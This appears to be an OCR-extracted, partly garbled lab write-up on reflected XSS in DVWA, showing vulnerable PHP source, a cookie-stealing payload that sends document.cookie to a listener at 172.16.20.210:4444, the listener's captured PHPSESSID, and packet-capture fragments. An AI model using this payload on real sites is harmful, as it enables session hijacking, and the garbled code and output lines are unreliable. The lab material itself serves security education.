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D Vulnerability: Reflected Cross Site Scripting (XSS)
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Reflected XSS Source
vulnerabilities/xss_r/sourcellow.php

Cphp
header (*X-XS5-Protection: 0%):

if( array_key_exists( *name”, 5_GET ) && $_GET[ ‘name’ ] 1= NULL ) {
echo <predHello " $_GET[ ‘name’ ] . "/pre>’s

»
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<?php # php A|ZHEEHQ|
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name’ ] != NULL ) {

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>";

7> # phpEHEHO|

1. header ("X-XSS-Protection: 0");
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2. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] !'= NULL )
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if ("name" in request.args ) and ( request.args[ "name" ] is not None ):

array_key_exists( "name", $_GET ) : O] 222 $_get 2t= Bl=0t0] EML{2[EtRUS R 7|
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3. {echo '<pre>Hello ' . $_GET[ 'name'] . '</pre>"; }
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Vulnerability: Reflected Cross Site Scripting (XSS)
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<script>fetch("http://172.16.20.210:4444/steal?cookie="%2Bdocument.cookie);
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T 10.0; Win64; x64) AppleWebKit/ 36 (KHTML, like Gecke) Ch
50.0.0.0

172.16 .60: inver host lookup failed: Unknown host

connect to [172.16.20.210] from (UNKNOWN) [172.16.20.60] 52
[ClamWisteal?cookie=PHPSESSID=7qgmdcii56bvlrtfelqllolnhu;%2@security=1low HTTP/1.1
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No. Time Source Destination Protocol _Length Info
T.125

7183 36.070413556 .16.20.1 106 1007
7184 36.070413960 221.165.10.91 60 3389 - 57348 [ACK] Seq=2621¢
7185 36.083639435 Broadcast 60 Who has 172.16.0.6? Tell 173
7186 36.093089903 5 5 221.165.10.91 5 451 1007
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